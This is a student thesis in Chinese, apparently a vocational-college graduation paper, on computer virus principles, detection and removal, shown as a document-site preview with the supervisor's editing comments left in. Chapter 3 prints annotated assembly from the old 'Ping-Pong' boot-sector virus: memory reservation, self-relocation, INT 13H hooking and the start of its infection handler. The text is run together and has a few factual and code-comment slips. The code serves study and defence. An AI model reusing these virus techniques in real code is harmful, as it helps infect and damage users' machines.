毕业设计(论文)-计算机病毒的原理与防范查杀.doc_第1页
毕业设计(论文)-计算机病毒的原理与防范查杀.doc_第2页
毕业设计(论文)-计算机病毒的原理与防范查杀.doc_第3页
毕业设计(论文)-计算机病毒的原理与防范查杀.doc_第4页
毕业设计(论文)-计算机病毒的原理与防范查杀.doc_第5页
已阅读5页,还剩46页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

摘 要 编号 淮安信息职业技术学院毕业论文题 目计算机病毒的原理与防范查杀学生姓名学 号院 系计算机通信与工程学院专 业计算机网络技术班 级指导教师顾问教师二一三年六月I摘 要随着计算机技术的发展,计算机在每一个行业都得到了广泛的应用,各行各业对计算机系统的依赖越来越大,但是,随着计算机网络的发展,计算机病毒对信息安全的威胁日益严重,我们一方面要掌握对当前计算机病毒的防范措施,另一方面要加强对病毒未来发展趋势的研究,真正做到防患于未然。现在计算机病毒是现代信息化社会的公害,是计算机犯罪的一种特殊形式。各种计算机病毒的产生和全球性的蔓延已经给计算机系统的安全造成了巨大的危害和损害,其造成的计算机资源的损失和破坏,不但会造成资源和财富的巨大浪费,而且有可能造成社会性的灾难。加一点怎么查杀的内容。关键词:计算机病毒 网络 防范 总体要求:1、 论文排版要符合学校的格式要求2、有些图需要重画3、参考文献的格式好象不对,最好参考最近几年的。4、文中代码部分要注意排版与格式,最好比正文字体小一点,或加阴影。5、继续熟悉论文内容。目录目 录摘 要I目 录II第一章 绪论11.1 前言11.2 论文目标11.3 课题研究的意义2第二章 计算机病毒概述32.1 计算机病毒定义32.2 宏和宏病毒的概念42.2 计算机病毒的基本特征52.2.1 感染性52.2.2 潜伏性(隐蔽性)52.2.3 可触发性52.2.4 破坏性62.3 计算机病毒的分类62.3.1 传统的计算机病毒62.3.2 计算机病毒的发展简史7第三章 计算机病毒的结构和作用机制143.1 计算机病毒的结构组成143.2 病毒的引导部分153.2.1 病毒的引导模块和引导机制153.3恢复系统功能163.3.1 病毒引导部分举例163.4 病毒的感染部分193.4.1 病毒的感染模块及感染机制193.4.2 感染部分程序的举例203.5 病毒的表现(破坏)部分243.5.1 病毒的表现(破坏)模块及表现(破坏)机制243.5.2 表现部分程序举例253.6 宏病毒的运行机制30第四章 检测计算机病毒的基本方法344.1 外观检测法344.1.1 屏幕显示异常344.1.2 声音异常344.1.3 系统工作异常354.1.4 文件异常354.2 计算机病毒检测的综合方法364.3 检测宏病毒的基本方法41第五章 清除计算机病毒的基本技术435.1 清除计算机病毒的一般性原则435.2 清除宏病毒的基本方法45第六章 总结46致 谢47参考文献4845第一章 绪论第一章 绪论1.1 前言计算机技术的迅猛发展,给人们的工作和生活带来了前所未有的便利和效率,随着计算机走进社会的各个领域,走进千家万户,计算机系统已经能实现生活、管理、办公的自动化,成为人类社会不可或缺的一部分。与此同时,计算机安全的重要性也被越来越多的人认识到,商业界、金融银行界要依靠计算机处理事务,政府的行政管理要依靠计算机信息系统和数据库,厂家和公司的全部生产取决于数据处理系统的能力,陆、海、空、宇航等指挥系统,医疗卫生要依靠计算机技术,整个社会对计算机信息系统的依赖越来越大,甚至离不开它。然而,计算机系统并不安全,其不安全因素有计算机信息系统自身的、自然的,也有人为的。计算机系统就是最不安全的因素之一。随着信息化社会的发展,计算机病毒的威胁日益严重,迄今为止,已发现的病毒种类很多,而且还以相当惊人的速度递增,令人们谈病毒而色变。人们将计算机病毒称之为“21世纪最大的隐患”、“不流血的致命武器”,它的出现完全有可能改变人类的未来,因此反病毒的任务变得更加艰巨了。1.2 论文目标1、 为了培养学生严肃认真的科学态度和实事求是的工作作风,形成正确的世界观和价值观,掌握科学的方法论。2、 为了培养学生综合应用所学基础理论、专门知识、基本技能的发现。分析、解决与电脑中了病毒的实际问题的能力,以及从事其他科学研究工作或负担专门技术工作的基本能力。3、 为了能让稍微了解电脑的人们在自己电脑中了病毒时能够自己动手解决不已。1.3 课题研究的意义当今社会是一个信息化的社会,随着internet的出现使得信息出现了爆炸性的增长。从而使得信息泛滥成灾,严重的影响了重要信息和知识的传播。随着internet的普及,互联网以一股巨大变革力量的面貌出现在商务关系领域。它的强大功能被人们深刻的记着,并且已经在各个领域发挥着越来越重要的作用。但是,计算机病毒的出现将成为计算机使用者的噩梦,它的功能就是破坏,破坏计算机里的一切信息,甚至会破坏计算机本身的硬件,使得计算机使用者无法使用,不仅仅是对计算机使用者而言,对使用计算机的公司也会造成巨大的损失。如果能够对计算机病毒有足够的了解,就会对计算机病毒进行防范,即使中了病毒也能去解决,从而不会造成很大的损失。第二章 计算机病毒概述第二章 计算机病毒概述2.1 计算机病毒定义计算机病毒是一个程序, 一段可执行码。像生物病毒一样, 计算机病毒有其独特的复制能力, 可以很快地蔓延, 又常常难以根除, 它们能把自身附着在各种类型的文件上, 当文件被复制或从一个用户传送到另一个用户时, 它们就随同文件一起蔓延开来。现在, 随着计算机网络的发展, 计算机病毒和计算机网络技术相结合, 蔓延的速度更加迅速。在生物学中, 病毒是指侵入动植物体等有机生命体中的具有感染性、潜伏性、破坏性的微生物, 而且不同的病毒具有不同的诱发因素。“计算机病毒”一词是人们联系到破坏计算机系统的“病原体”具有与生物病毒相似的特征, 借用生物学病毒而使用的计算机术语。“计算机病毒”一词最早出现在美国作家Thomas J . Ryan 于1977 年出版的科幻小说The Adolescence of P-1中。1983 年, 美国计算机安全专家Frederick Cohen 博士首次提出计算机病毒的存在, 他认为: 计算机病毒是一个能感染其他程序的程序, 它靠修改其他程序, 并把自身的拷贝嵌入其他程序而实现病毒的感染。1989 年, 他进一步将计算机病毒定义为:“病毒程序通过修改其他程序的方法将自己的精确拷贝或可能演化的形式放入其他程序中, 从而感染它们”。所谓感染, 是指病毒将自身嵌入到指令序列中, 致使执行合法程序的操作招致病毒程序的共同执行( 或是以病毒程序的执行取而代之) 。1994 年中华人们共和国计算机安全保护条例定义:“计算机病毒是指编制或者在计算机程序中插入的, 破坏计算机功能或数据、影响计算机使用, 并能自我复制的一组计算机指令或者程序代码”。当然, 还有其他人的不完全相同的定义, 但都大同小异。2.2 宏和宏病毒的概念宏病毒与传统的计算机病毒有很大的不同,它不感染. EXE、. COM 等可执行文件, 而是将病毒代码以宏( Macro) 的形式潜伏在Microsoft Office 文件中, 当采用Office 软件打开这些染毒文件时, 这些代码就会被执行并产生破坏作用。由于宏是使用Visual Basic For Application 这样的高级语言编写的, 因此其编写过程相对比较简单, 而功能又十分强大。随着Microsoft Office 软件在全世界范围内的不断普及, 宏病毒已成为传播最广、危害最大的一类病毒。由于在目前发现的宏病毒当中, 感染Word 的病毒占绝大多数, 所以人们谈论的宏病毒一般是指Word 宏病毒, 而了解Word 宏病毒之后, 也就不难理解其他的宏病毒了。在Windows 环境下数据文件是由Word 等文字处理软件建立的, 被称为文档文件或文档。Word 文档中包含两种信息: 一是文本信息或称文本, 是由中英文文字组成的段落篇章; 二是格式信息, 包括表格、字体、字号等信息。在Microsoft Word 中对宏的定义为“宏就是能够组织在一起的, 可以作为一个独立命令来执行的一系列Word 命令, 它能使日常工作变得容易”。简单地讲, 宏就是一组批处理命令, 是用高级语言( VB) 编写的一段程序。Word 文档中的格式信息就包含了很多这样的宏。Word 的宏语言有十分强大的功能, 它具备访问系统的能力, 可以直接运行DOS 系统命令, 调用Windows API 、DLL 等。这些操作都可能对系统的安全直接构成威胁。如果一个宏中包含了上述形式的有破坏能力的命令, 并且还有自我复制功能, 这个宏就成了宏病毒。概括起来讲, 宏病毒就是使用宏语言编写的有一定破坏能力的程序, 可以在一些数据处理系统中运行( 主要是微软的办公软件系统, 字处理、电子数据表和其他Office 程序中) , 存在于字处理文档、数据表格、数据库、演示文档等数据文件中, 利用宏语言的功能将自己复制到其他数据文档中。除了Word 宏病毒外, 常见的还有Excel 宏病毒、PowerPoint 宏病毒等, 主要是针对Microsoft Office 软件的。2.2 计算机病毒的基本特征2.2.1 感染性计算机病毒的感染性是指计算机病毒具有把自身复制到其他程序中的特性。感染性是计算机病毒的根本属性,它是判断一个程序是否为病毒程序的主要依据。病毒它可以感染文件、硬盘、个人计算机、局部网络和互联网。计算机病毒的感染是指从一个网络侵入另一个网络,由一个系统扩散到另一个系统,由一个磁盘进入到另一个磁盘,或者由一个文件传播到另一个文件的过程。2.2.2 潜伏性(隐蔽性)计算机病毒的潜伏性是指其具有依附于其他媒体而寄生的能力,即通过修改其他程序而自身的复制品嵌入到其他程序或磁盘的引导区( 包括硬盘的主引导区中) 寄生。这种能力是隐蔽的,大多数计算机病毒的感染速度极快。而且大多数计算机病毒都采用特殊的隐藏技术,例如有些计算机病毒感染正常程序时将程序文件压缩,留出空间嵌入计算机病毒程序,这样使被计算机病毒感染的程序文件的长度变化很小,很难被发现;有些计算机病毒修改文件的属性等;还有些计算机病毒可以加密、变型( 多态病毒) 或防止反汇编、防跟踪等等都是为了不让被感染的计算机用户发现。当计算机病毒侵入系统后,一般并不立即发作,而是具有一定的潜伏期。在潜伏期,只要条件许可,病毒就会不断地进行感染。2.2.3 可触发性计算机病毒一般都有一个触发条件:或者触发其感染,,即在一定的条件下激活一个计算机病毒的感染机制使之进行感染;或者触发其发作,即在一定条件下激活计算机病毒的表现( 破坏) 部分。条件判断是计算机病毒自身特有的功能, 一种计算机病毒一般设置一定的触发条件。病毒程序在运行时,每次都要检测控制条件,一旦条件成熟,病毒就开始感染或发作。触发条件可能是指定的某个时间或日期、特定的用户识别符的出现、特定文件的出现或使用次数、用户的安全保密等级、某些特定的数据等等。2.2.4 破坏性计算机病毒的破坏性是病毒的重要特征,如果一个计算机病毒对计算机没有任何破坏的坏,那么这个病毒还有什么用呢?当然,计算机病毒的破坏性取决于设计者的目的水平,如果病毒设计者的目的在于破坏系统的正常运行,则可以毁掉或修改系统内的部分或全部数据或文件,例如改写文件、删除文件、格式化磁盘等等;可以干扰或迷惑用户的操作,例如锁死键盘或修改键盘的功能等等;可以干扰系统的运行,如干扰屏幕显示、降低机器的运行速度等等;也可以损坏硬件( 主板, 磁盘等) 。归纳起来,计算机病毒的危害大致有以下几个方面:1、对计算机数据信息进行直接的破坏2、抢占系统资源3、影响计算机运行速度4、病毒对计算机硬件的破坏2.3 计算机病毒的分类2.3.1 传统的计算机病毒1、 按计算机病毒攻击的机型分类:有攻击微型机的病毒、攻击小型机的病毒和攻击工作站的病毒。2、 按计算机病毒攻击的操作系统分类:有攻击DOS的病毒、攻击Windows系统的病毒、攻击Unix或OS/2系统的病毒。3、 按传播媒介分类:有单机病毒、网络病毒。4、 按计算机病毒的寄生方式分类:有源码型病毒、入侵型病毒、外壳型病毒、操作系统型病毒。5、 按病毒的表现(破坏)分类:有良性病毒、恶性病毒。6、 按计算机病毒寄生方式和感染途径分类:有引导型病毒、文件型病毒、混合型病毒。2.3.2 计算机病毒的发展简史 写得太多 简单一点计算机刚刚诞生, 就有了计算机病毒的概念。1949 年, 计算机之父冯诺依曼在复杂自动机组织论中便定义了病毒的基本概念。他提出“一部事实上足够复杂的机器能够复制自身”, 但当时的人们还不能理解能够复制自身的概念( 而能够复制自身正是计算机病毒的本质特征之一) , 所以并没有多少人认真对待计算机病毒这种事情。20 世纪60 年代初, 美国贝尔实验室里,3 个年轻的程序员编写了一个名为“磁芯大战”的游戏, 游戏中通过复制自身来摆脱对方的控制, 这就是所谓“计算机病毒”的第一个雏形。而“计算机病毒”作为一个名词, 最早出现在科幻小说之中。1975 年, 美国科普作家John Bruner( 约翰布鲁勒尔) 在他的名为Shock Wave Rider( 震荡波骑士) 的书中,出现了以“Virus”用电脑作为邪恶代表的工具的故事。1977 年, 美国的Thomas J . Ryan( 托马斯简瑞恩) 在其名为The Adolescence of P-1( P-1 的青春) 的科幻小说中, 幻想出世界上第一个计算机病毒, 它可以从一台计算机感染到另一台计算机, 最终控制了7000 台计算机的操作系统, 造成了一场大灾难。1981 年, 世界上诞生了真正意义上的计算机病毒Elk Cloner , 这个病毒将自己附着在磁盘的引导扇区上, 通过磁盘进行感染。由于它没有造成多大的破坏, 只是关掉显示器, 让显示的文本闪烁或显示一大堆乱七八糟的信息, 所以, 它没有引起大家的关注。1983 年, 计算机病毒首次在计算机界被确认存在。1983 年11 月3 日, 美国计算机安全学术讨论会上, 美国计算机安全专家Frederick Cohen 博士首次提出计算机病毒的概念。同一天, 专家们在运行Unix 操作系统的VAX11/ 750 计算机系统上验证了计算机病毒的存在。在其后的一周内, 在5 次病毒试验中, 平均30 分钟病毒就可使计算机系统瘫痪, 由此不仅确认了计算机病毒的存在, 而且认识到计算机病毒对计算机系统的破坏作用。1986 年底, 病毒Brain 开始流行, 这是由巴基斯坦两兄弟Basit 和Amjad Farooq Alvi制造的, 据他们说, 制作这个病毒的目的是检验一下盗版问题在巴基斯坦的严重程度( 事实上, 病毒的蔓延远远超出了他们的估计) 。Brain 病毒首次使用了伪装的手段来迷惑计算机用户。1987 年10 月, 美国新闻机构报道了这一例计算机遭病毒入侵及引起破坏的事件, 从此计算机病毒开始受到广大民众的关注。在这一年, 中国的公安部成立了计算机病毒研究小组, 并派出专业技术人员到中科院计算所和美国、欧洲进修, 学习计算机安全技术, 标志着计算机病毒引起了中国政府的警惕。1987 年, 病毒现象逐步升温, 这一年,DOS 环境下的文件型病毒得到了很大的发展,同时出现了很多的IBM PC 兼容机上的病毒。这一年, 首次出现了能自我加解密的Cascade 病毒, 标志着计算机病毒制造技术的进一步提高, 这也说明了病毒与反病毒技术的互相对抗、克制, 能自我加解密的病毒还有著名的新西兰的Stoned 病毒和意大利的PingPong 病毒等等。同年12 月份, 第一个网络病毒Christmas Tree 病毒开始流行, 这种病毒在VM/ CMS 操作系统下传播, 造成了IBM 公司内部网络的系统瘫痪。1988 年6 月13 号, 这天正好是星期五, 一些国家的公司和大学遭到了“耶路撒冷”( Jerusalem) 病毒的攻击。该病毒因攻击了耶路撒冷大学而得名, 又因为它是在非1987 年的既是13 号又是星期五的这天爆发, 所以又被称为“黑色星期五”。1988 年, 各种计算机病毒相继出现并广泛传播。11 月2 日, 美国康奈尔大学的学生,23 岁的Morris 将自己编制的蠕虫程序输入到计算机网络中, 在几小时内造成Internet 的堵塞,6 000 多台计算机被感染, 造成巨大的损失。从此在国际计算机领域掀起了一个谈论病毒的高潮, 一时成为计算机界的热点。在美国, 仅1988 年中, 就约有9 万台计算机遭计算机病毒入侵, 大家公认1988 年为世界计算机病毒年。1988 年11 月,人民日报就Morris 事件报道了关于病毒的事件, 这是国内媒体首次关注计算机病毒。同时, 反病毒技术也已经开始成熟了, 所罗门公司的反病毒工具Doctors SolomonsAnti- Virus Toolkit 成为当时最强大的反病毒软件。1989 年, 病毒家族开始出现了, 比如Yankee 病毒( 这是一个恶性病毒, 会格式化硬盘) 。同年出现的Eddie 病毒则可以驻留内存, 不仅感染被调用的文件, 还感染被打开或被拷贝的文件。Frodo 病毒是第一个全秘密寄生的文件病毒, 它不改变被感染文件的长度。同年出现了名为AIDS 的特洛伊木马型病毒, 作者Popp 博士因靠此病毒为受害者恢复数据勒索钱财而被捕入狱。1989 年4 月西南铝厂首先报告在其计算机中发现“小球”病毒。同年, 又有一些单位的计算机也发现“小球”病毒及其变种或其他病毒, 自此, 计算机病毒开始侵入我国( 没有记录的病毒侵入肯定更早) 。1989 年7 月, 中国公安部推出了中国最早的杀毒软件Kill 6 .0 , Kill 软件在随后很长的一段时间内都是由公安部免费向国内部分用户发放。1990 年, 出现了第一个多态病毒Chameleon 、使用多级加密解密和反跟踪技术的病毒Whale 等具有更好隐藏技术的病毒, 标志着病毒制造技术的又一次提高。同年, 保加利亚的程序员开发出了可以用于开发病毒的工具软件Virus Production Factory ; 同样在保加利亚, 同年出现了专门为病毒制造者开设的进行病毒信息交流和病毒交换的BBS。1990 年, 中国出现了基于硬件的反病毒系统华星防病毒卡, 取得不错的销售业绩。1991 年, 计算机病毒的数量持续上升, 世界上已知病毒的总数已向1000 攀升。这一年发现的比较有名的病毒有能够同时感染文件和引导区的复合多态病毒Tequila ; 不存在于某个文件或引导扇区中的DIR II 病毒, 它将自己分成小块, 然后放在磁盘上的多个扇区中, 运行的时候再进行组装和执行; 攻击网络的GPI 病毒等。这一年, 反病毒公司也得到了发展壮大,Symantec( 著名的反病毒工具软件Norton 就是它的产品) 和Central Point( 以软件PCTOOLS 著名) 两个重要的工具软件开发商开始介入杀毒市场。中国的瑞星公司成立, 推出了瑞星防病毒卡。1992 年, 多态病毒生成器“MtE”开发出来, 同年, 一个病毒构造工具集Virus CreateLibrary 开发成功。这些病毒开发工具或一些BBS 的出现又刺激了新的、更加强大和完善的病毒制造工具被不断开发出来, 所有这些病毒制造工具或BBS 上的信息交流促使了更多的病毒被源源不断地制造出来。这一年, 在芬兰发现了首例Windows 病毒。1993 年、1994 年, 采用密码技术、编写技巧高超的隐蔽型病毒和多态性病毒相继出现, 而且社会上出现了计算机病毒的恐慌和骗局, 也出现了感染源代码文件( 主要是C 语言和Pascal 语言) 的Src Vir 病毒和感染OBJ 文件的Shifter 病毒。在这两年中, 中国的杀毒软件KILL( V68) 和KV100 开始销售1995 年8 月9 日, 在美国首次发现专门攻击Word 文件的新病毒宏病毒Concept 。以前的病毒都是在DOS 或Unix 操作系统下感染和破坏的,Concept 病毒的出现, 宣告了攻击Windows 操作系统的病毒的大规模出现。1996 年和1997 年开始了新一轮的计算机病毒的进化, 随着微软新的操作系统Windows 95 、Windows NT 和微软办公软件Office 的流行, 病毒制造者开始面对新的环境, 制造出了许多新的病毒。1997 年2 月, 第一个Linux 环境下的病毒Bliss 出现, 结束了Linux 系统从未被病毒感染的历史。1997 年4 月, 第一个使用文件传输协议( FTP :FileTransport Protocol) 进行传播的Homer 病毒出现。1998 年6 月, 被称作有史以来影响最大的病毒CIH 病毒被发现, 这是世界上首例能够破坏硬件的病毒, 它既攻击硬盘中的文件系统, 又攻击计算机硬件( 主板) , 并使其损坏。它的破坏性使其闻名世界。这一年也出现了许多新型病毒, 如远程控制工具“Back Orifice”、“Netbus”等, 第一个感染Java 可执行文件的Strange Brew 病毒, 一种新的用实用VB 脚本语言编写的Robbit 病毒。后3 种类型的病毒以及这3 种技术结合产生的病毒( 还有以后一些新的技术) 都是之后直到现在最流行的病毒。1999 年, 通过邮件进行病毒传播开始成为病毒传播的主要途径, 而宏病毒仍然是最流行的病毒。这一年, 比较有名的病毒有:Melissa , 一种宏病毒和蠕虫的混合物, 通过电子邮件系统大量传播, 造成网络的阻塞、瘫痪;Happy99 ;FunLove 等等。2000 年被称作VBScript 病毒/ 蠕虫之年。大量使用脚本技术的病毒出现, 脚本病毒和蠕虫、传统的病毒、木马程序以及操作系统的安全漏洞相结合, 给病毒技术带来了一个新的发展高峰。VBS/ KAK 蠕虫利用因特网浏览器和Outlook 中的漏洞( Scirptlet .Typelib 和Eyedog) , 靠用户用Outlook 打开或预览一个含有病毒性VBScript 的HTML 文件而使用户的机器感染;Loveletter 病毒则是以给电子邮件的附件两个扩展名的诡计( Love- Letter-for you .txt .vbs) 来得到比Melissa 病毒更快更远的传播。2000 年, 中国的金山公司发布金山毒霸, 金山公司开始进入杀毒软件市场。2001 年可谓是计算机安全领域的多事之秋。7 月出现的Code Red 和Code Red II ,特别是9 月出现的Ni mda 病毒( 以36 .07 % 高居本年度病毒感染率第一) , 更是突破了以往病毒的各种传播途径, 它们会利用微软服务器漏洞植入后门程序的特洛伊木马, 或是通E- mail 大肆传播、衍生无数变种的计算机蠕虫, 也有可能是通过浏览网页下载病毒, 甚至三者兼具, 造成了大范围的因特网上的服务器被阻断或访问速度下降, 在世界范围内造成了巨大的损失。仅Code Red 病毒所造成的经济损失, 就远远超过过去6 年来任何一年的年度损失。根据趋势科技TrendLabs 全球防病毒研发暨技术支持中心所做的2001 年十大病毒统计, 蠕虫、特洛依木马型病毒占绝大部分, 自1995 年起持续6 年为病毒主要形态的宏病毒已退居十大病毒之外, 而E- mail 仍为传播病毒的热门渠道。2001 年前病毒的形态非常单纯, 依其感染的方式, 可分为感染开机区的开机型、感染执行文件的文件型、感染Word 文件的文件宏病毒型等等。而自从2002 年7 月,Code Red利用IIS 漏洞揭开了黑客与病毒并肩作战的反传统的攻击模式,Code Red 在病毒史上的地位, 就如同第一个病毒Brain 一样, 具有难以抹灭的历史意义。同时这种反传统的攻击模式, 使得传统的防毒软件面临更高的挑战。从首例计算机病毒被发现起, 病毒的发展速度十分惊人( 虽然各种说法不尽相同) 。按照较多的一种说法,1988 年底, 病毒不足100 种;1987 年到1989 年间发现的计算机病毒有80 多种;1991 年, 全球病毒数量不到500 种;1994 年夏, 病毒的数量已近5000 种; 到1998 年夏, 全世界已发现的病毒超过15 000 种; 到2000 年底, 病毒的数量已超过55 000种; 到了2002 年, 病毒数量已增至60000 种。2000 年12 月在日本东京举行的“亚洲计算机反病毒大会”对2000 年11 月以前的病毒种类和数量作出了初步的报告:DOS 病毒: 40 000 种Windows 32 病毒: 15 种Windows 9x 病毒: 600 种Windows NT/ Windows 2000 病毒: 200 种Word 宏病毒: 7500 种Excel 宏病毒: 1500 种PowerPoint 病毒: 100 种Script 脚本病毒: 500 种Macintos 苹果机病毒: 50 种Linux 病毒: 5 种手机病毒: 2 种合计: 55000 种在病毒的发展史上, 病毒的出现是有规律的。一般情况下, 一种新的病毒技术出现后, 病毒迅速发展, 接着反病毒技术的发展会抑制其流传; 操作系统进行升级时, 病毒也会调整为新的方式, 产生新的病毒技术。第三章 计算机病毒的结构和作用机制第三章 计算机病毒的结构和作用机制3.1 计算机病毒的结构组成计算机病毒是一段特殊程序,它的其最大特点是具有感染能力和表现( 破坏) 能力。计算机病毒在程序结构、磁盘上的存储方式、感染目标的方式以及控制系统的方式上既具有许多共同的特点,同时又有许多特殊的技巧和方法,了解病毒程序的这些结构和特征对于有效地预防、检测和清除病毒是非常有必要的。计算机病毒与生物病毒一样,有其自身的病毒体( 病毒程序) 和寄生体。寄生体为病毒提供一种生存环境,当病毒程序寄生于合法程序的时候,病毒就成为了程序的一部分,并在程序中占有合法的地位,这样合法程序就成了病毒程序的寄生体,或称病毒程序的载体。病毒可寄生于合法程序的任何位置。计算机病毒之所以具有寄生能力和破坏能力,和病毒程序的结构有关。从目前已出现的病毒来看,病毒都具有相同的逻辑程序结构如图3 .1 所示,一 图3.1计算机病毒的程序结构般包含3 大模块即:引导模块、感染模块和表现( 破坏) 模块。其中后两个模块都包括一段触发条件检查程序段,它们分别检查是否满足触发条件和是否满足表现( 破坏) 的条件,一旦相应的条件得到满足,病毒就会进行感染和表现( 破坏) 。引导模块的功能是将病毒程序引入内存并使其后面的两个模块处于激活状态,感染模块的功能是,在感染条件满足时把病毒感染到所攻击的对象上;表现( 破坏) 模块的功能是,在病毒发作条件( 表现、破坏条件) 满足时,实施对系统的干扰和破坏活动。3.2 病毒的引导部分3.2.1 病毒的引导模块和引导机制引导模块的主要作用是将静态病毒激活,使之成为动态病毒。动态病毒是指要么已进入内存处于活动状态的病毒,要么能通过调用某些中断而获得运行权,从而它就可以随心所欲。病毒程序的加载分为两个步骤:一是系统加载过程;二是病毒附加的加载过程。系统加载过程通常读入病毒程序的引导部分,并将系统控制权转交病毒引导程序。病毒引导程序一般都是病毒附加的加载过程,它主要用来完成对病毒程序的完整读入和安装。病毒程序选择的加载点、目标多是计算机的固有弱点或软件系统的输入节点。具体的说,病毒的加载过程,主要有3个步骤组成:1、 开辟内存空间病毒要起作用,就必须驻留内存,要想驻留就必须开辟内存空间或直接覆盖系统占用的部分内存。2、 病毒体定位和驻留病毒进入内存后即脱离原载体程序,在内存驻留区域进行重定位,而且对内存中的病毒程序采取一定的保护措施,使之不会被正常程序覆盖掉。病毒驻留内存后,要对内存中的病毒程序设定某种激活方式,使之在适当的时候能取得运行权,这就必须使病毒的有关组成单元取代或扩充系统的原有功能,包括改写中断向量,设置激活、感染、表现( 破坏) 条件,初始化内部各数据单元等。在取得控制权后,病毒依据自身条件的制约,在适当的条件下进行感染和破坏。3.3恢复系统功能为保证病毒驻入的系统能继续有效工作,提高隐蔽性,大多数病毒程序将病毒破坏的有关信息转储于其他特定单元,允许系统通过病毒程序使用。3.3.1 病毒引导部分举例例:“小球”病毒的引导部分的程序片段病毒的引导程序主要进行以下操作:修改内存可用空间的大小,病毒首先在内存的最高端预留出2 kB 存储空间;将病毒的引导程序模块及有关参数从00007C00H 处移到该区域中,然后把控制转向该区域的病毒程序处开始执行;在标为“坏”磁盘扇区中装有病毒程序的另一部分,将其装入并连接到病毒引导模块之后;将原DOS 的正常引导程序读入内存中病毒程序引导模块腾出来的00007C00H处;初始化参数,修改INT 13H 中断向量,使它指向病毒的感染模块的入口;将控制权还给DOS 引导程序,开始执行真正的系统的引导。下面代码少写或者不写。00007C00 EB1C JMP 7C1E. . . . . . . . .00007C1E 33C0 XOR AX ,AX00007C20 8ED0 MOV SS,AX00007C22 BC007C MOV SP,7C0000007C25 8ED8 MOV DS,AX00007C27 A11304 MOV AX, 0413; 0413 = 内存空间大小00007C2A 2D0200 SUB AX,0001;内存总量减去2 kB,以防00007C2D A31304 MOV 0413,AX;用户程序覆盖00007C30 B106 MOV CL,06;计算最高段地址00007C32 D3E0 SHL AX,CL00007C34 2DC007 SUB AX,07C0;如内存为640K,AX= 07C0把病毒程序的第一部分从00007C00H00007DFFH 搬到内存高端留出的2 kB 空间中,位置为97C07C00H97C07DFFH。00007C37 8EC0 MOV ES,AX00007C39 BE007C MOV SI,7C0000007C3C 8BFE MOV DI,SI00007C3E B90001 MOV CX,010000007C41 F3 REPZ;将 00007C00H ES7C0000007C42 A5 MOVSW;传送256 个字00007C43 8EC8 MOV CS,AX;CS= 病毒程序段地址97C07C45 0E PUSH CS97C07C46 1F POP DS97C07C47 E80000 CALL 7C4A97C07C4A 32E4 XOR AH,AH97C07C4C CD13 I NT 13;复位磁盘97C07C4E 8026F87D80 AND BYTE PTR 7DF8,8097C07C53 8B1EF97D MOV BX, 7DF9; 7DF9 = 病毒第二部分的开始97C07C57 0E PUSH CS;逻辑扇区号97C07C58 58 POP AX97C07C59 2D2000 SUB AX,020097C07C5C 8EC0 MOV ES,AX97C07C5E E83C00 CALL 7C9D;读病毒第二部分程序97C07C61 8B1EF97D MOV BX, 7DF997C07C65 43 I NC BX;BX= 原引导记录所在逻辑扇区号97C07C66 B8C0FF MOV AX,FFC0;FFC0 + 8000 =7C00( 不计溢出)97C07C69 8EC0 MOV ES,AX97C07C6B E82F00 CALL 7C9D;读原引导记录到00007C00H 中97C07C6E 33C0 XOR AX,AX97C07C70 A2F77D MOV 7DF7,AL97C07C73 8ED8 MOV DS,AX97C07C75 A14C00 MOV AX, 004C97C07C78 8B1E4E00 MOV BX, 004E;取I NT 13H 中断向量BX,AX97C07C7C C7064C00D0 MOV WORD PTR 4C,7CD097C07C82 8C0E4E00 MOV 004E,CS;改INT 13H 中断向量为:CS7CD097C07C86 0E PUSH CS;保留原INT 13H 中断向量97C07C87 1F POP DS97C07C88 A32A7D MOV 7D2A,AX;原向量移 DS7D2A97C07C8B 891E2C7D MOV 7D2C,BX;段地址 DS7D2C97C07C8F 8A16F87D MOV DL, 7DF897C07C93 EA007C0000 JMP 00007C00;把控制权交给原DOS 引导程序97C07C98 B80103 MOV AX,0301;写盘模块97C07C9B EB03 JMP 7CA0;97C07C9D B80102 MOV AX,0201;读盘模块97C07CA0 93 XCHG BX,AX97C07CA1 03061C7C ADD AX , 7C1C ; 7C1C = 隐藏扇区数97C07CA5 33D2 XOR DX,DX97C07CA7 F736187C DI V WORD PTR 7C18 ; 7C18 = 每道扇区数97C07CAB FEC2 I NC DL97C07CAD 8AEA MOV CH,DL97C07CAF 33D2 XOR DX,DX97C07CB1 F7361A7C DI V WORD PTR 7C1A ; 7C1A = 磁头数97C07CB5 B106 MOV CL ,0697C07CB7 D2E4 SHL AH,CL97C07CB9 0AE5 OR AH,CH97C07CBB 8BC8 MOV CX ,AX97C07CBD 86E9 XCHG CL,CH97C07CBF 8AF2 MOV DH,DL97C07CC1 8BC3 MOV AX,BX97C07CC3 8A16F87D MOV DL, 7DF8;读写磁盘的子程序97C07CC7 BB0080 MOV BX,800097C07CCA CD13 I NT 1397C07CCC 7301 JNB 7CCF97C07CCE 58 POP AX97C07CCF C3 RET. . . . . . . . .3.4 病毒的感染部分3.4.1 病毒的感染模块及感染机制感染模块主要完成病毒的动态感染,是各种病毒必不可少的模块。各种病毒感染模块大同小异,区别主要在于感染条件。病毒在取得对系统的控制权后,先执行它的感染操作中的条件判断模块,判断感染条件是否满足(如每次打开新的文件、程序或对磁盘进行操作时,病毒就会检查是否为特定的文件、程序,或寻找文件、程序或磁盘等介质中是否有感染标记,是否为特定系统的时间、日期等) ;如果满足感染条件,进行感染,将病毒代码入宿主程序;然后再执行其他的操作( 如执行病毒的表现( 破坏) 模块) ,最后再执行系统正确的处理,这是病毒感染经常采取的手段之一。3.4.2 感染部分程序的举例例:“小球”病毒的感染部分的片段在系统启动过程中,病毒程序的引导模块完成了整个病毒程序的加载,并使得病毒程序的感染模块处于激活状态,在系统运行过程中,一旦发生了I NT 13H 中断,病毒程序的感染模块即被执行,其执行流程如图3 .2 所示。 图3.2 小球病毒感染模块执行流程 这个图重画下面是“小球”病毒感染模块和表现模块的判断程序部分,由INT 13H 指向。代码少写,或者不写,只要说明原理就行了,如果你完全明白他的意思也可以写。代码的字体比正文小一号。97C07CD0 1E PUSH DS ;7CD0 7CD9H 为修改后的97C07CD1 06 PUSH ES ;I NT 13H 中断服务程序97C07CD2 50 PUSH AX97C07CD3 53 PUSH BX97C07CD4 51 PUSH CX97C07CD5 52 PUSH DX97C07CD6 0E PUSH CS97C07CD7 1F POP DS97C07CD8 0E PUSH CS97C07CD9 07 POP ES97C07CDA F606F77D01 TEST BYTE PTR 7DF7 